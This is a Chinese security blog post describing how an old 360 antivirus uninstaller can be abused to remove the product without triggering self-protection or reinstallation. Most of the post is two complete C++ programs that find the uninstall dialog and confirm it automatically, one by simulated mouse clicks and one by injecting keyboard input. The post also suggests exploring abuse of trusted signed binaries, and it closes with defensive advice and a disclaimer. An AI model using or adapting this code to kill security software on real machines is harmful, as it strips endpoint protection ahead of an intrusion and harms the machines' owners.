记对一次360远古版本安装包挖掘导致的kill
字数 981 2025-08-22 12:22:54
360安全软件卸载漏洞分析与利用技术
0x00 前言
本文详细分析了一个360安全软件历史版本卸载程序中的安全漏洞,该漏洞允许攻击者通过自动化手段绕过安全防护机制直接卸载360安全软件。本文仅供安全研究学习使用,请勿用于非法用途。
0x01 漏洞发现背景
研究者通过分析360安全软件的历史版本,发现了一个特殊的卸载程序包(v14系列),该卸载程序具有以下特点:
- 相比最新版本卸载程序,该版本不受按键hook防护机制限制
- 不需要先结束360服务即可直接卸载
- 删除操作不会触发自动重新安装机制
- 卸载过程仅需简单的界面交互即可完成
0x02 漏洞利用分析
卸载程序行为分析
通过微步云等沙箱分析工具对卸载程序进行行为分析,发现以下关键行为:
- 程序会枚举系统进程并进行注入操作
- 包含可直接关闭360安全组件的功能
- 程序未进行远程验证,存在白加黑利用可能
界面交互分析
卸载程序运行时显示一个简单的对话框窗口,标题为"360产品",包含一个"是"按钮用于确认卸载操作。这种简单的交互设计使得自动化攻击成为可能。
0x03 漏洞利用技术实现
方法一:模拟鼠标点击技术
#include <windows.h>
#include <iostream>
#include <string>
using namespace std;
// 模拟鼠标点击函数
void MouseClick(int x, int y) {
SetCursorPos(x, y);
INPUT input[2] = {};
// 模拟鼠标按下
input[0].type = INPUT_MOUSE;
input[0].mi.dx = (LONG)x;
input[0].mi.dy = (LONG)y;
input[0].mi.dwFlags = MOUSEEVENTF_LEFTDOWN;
// 模拟鼠标释放
input[1].type = INPUT_MOUSE;
input[1].mi.dx = (LONG)x;
input[1].mi.dy = (LONG)y;
input[1].mi.dwFlags = MOUSEEVENTF_LEFTUP;
SendInput(1, &input[0], sizeof(INPUT));
Sleep(50);
SendInput(1, &input[1], sizeof(INPUT));
}
// 枚举子窗口回调函数
BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam) {
wchar_t className[256];
wchar_t buttonText[256];
GetClassName(hwnd, className, sizeof(className)/sizeof(wchar_t));
if(wcscmp(className, L"Button") == 0) {
GetWindowText(hwnd, buttonText, sizeof(buttonText)/sizeof(wchar_t));
if(wcsstr(buttonText, L"是")) {
RECT rect;
if(GetWindowRect(hwnd, &rect)) {
int x = (rect.left + rect.right)/2;
int y = (rect.top + rect.bottom)/2;
*((int*)lParam) = x;
*((int*)lParam + 1) = y;
return FALSE;
}
}
}
return TRUE;
}
int main() {
const wchar_t* targetWindowName = L"360产品";
HWND targetWindow = FindWindow(NULL, targetWindowName);
if(targetWindow == NULL) {
wcerr << L"未找到窗口: " << targetWindowName << endl;
return 1;
}
int buttonX = 0, buttonY = 0;
EnumChildWindows(targetWindow, EnumChildProc, (LPARAM)&buttonX);
if(buttonX == 0 && buttonY == 0) {
wcerr << L"未找到"是"字样的按钮。" << endl;
return 1;
}
for(int i = 0; i < 5; ++i) {
MouseClick(buttonX, buttonY);
Sleep(1000);
}
return 0;
}
方法二:键盘注入技术
#include <windows.h>
#include <iostream>
#include <string>
using namespace std;
typedef NTSTATUS(WINAPI* NtUserInjectKeyboardInput_t)(PKEYBOARD_INPUT_DATA, ULONG);
NtUserInjectKeyboardInput_t NtUserInjectKeyboardInput = NULL;
void SimulateEnterKeyPress() {
KEYBOARD_INPUT_DATA keyInput[2] = {};
keyInput[0].MakeCode = 0x1C; // Enter键扫描码
keyInput[0].Flags = 0; // 按下
keyInput[1].MakeCode = 0x1C;
keyInput[1].Flags = 0x0001; // 松开
if(NtUserInjectKeyboardInput) {
NtUserInjectKeyboardInput(keyInput, 2);
}
}
bool LoadNtUserInjectKeyboardInput() {
HMODULE hUser32 = LoadLibrary(L"user32.dll");
if(!hUser32) return false;
NtUserInjectKeyboardInput = (NtUserInjectKeyboardInput_t)GetProcAddress(hUser32, "NtUserInjectKeyboardInput");
return NtUserInjectKeyboardInput != NULL;
}
// ... (EnumChildProc等函数与方法一相同)
int main() {
if(!LoadNtUserInjectKeyboardInput()) {
return 1;
}
const wchar_t* targetWindowName = L"360产品";
HWND targetWindow = FindWindow(NULL, targetWindowName);
if(targetWindow == NULL) {
wcerr << L"未找到窗口: " << targetWindowName << endl;
return 1;
}
int buttonX = 0, buttonY = 0;
EnumChildWindows(targetWindow, EnumChildProc, (LPARAM)&buttonX);
if(buttonX == 0 && buttonY == 0) {
wcerr << L"未找到"是"字样的按钮。" << endl;
return 1;
}
SetCursorPos(buttonX, buttonY);
DWORD startTime = GetTickCount();
while(GetTickCount() - startTime < 5000) {
SimulateEnterKeyPress();
Sleep(200);
}
return 0;
}
0x04 技术要点解析
- 窗口查找技术:使用
FindWindow函数查找目标窗口 - 控件枚举技术:使用
EnumChildWindows和EnumChildProc枚举子窗口控件 - 坐标计算:通过
GetWindowRect获取按钮位置并计算中心点坐标 - 输入模拟:
- 鼠标模拟:使用
SetCursorPos和SendInput模拟鼠标点击 - 键盘模拟:通过
NtUserInjectKeyboardInput函数注入键盘输入
- 鼠标模拟:使用
0x05 防御建议
对于安全软件开发者:
- 对所有版本的卸载程序进行严格验证
- 增加卸载操作的多因素认证
- 对关键操作进行进程保护
- 实现卸载程序的远程验证机制
对于终端用户:
- 及时更新安全软件到最新版本
- 不要使用来历不明的卸载工具
- 注意系统中异常的程序行为
0x06 后续研究方向
- 使用Universal Extractor等工具对安装包进行解包分析
- 研究枚举和注入功能的利用方式
- 探索白加黑攻击的潜在可能性
0x07 免责声明
本文所述技术仅供安全研究学习使用,任何利用此技术进行非法攻击的行为与作者无关。请在法律允许范围内进行安全研究。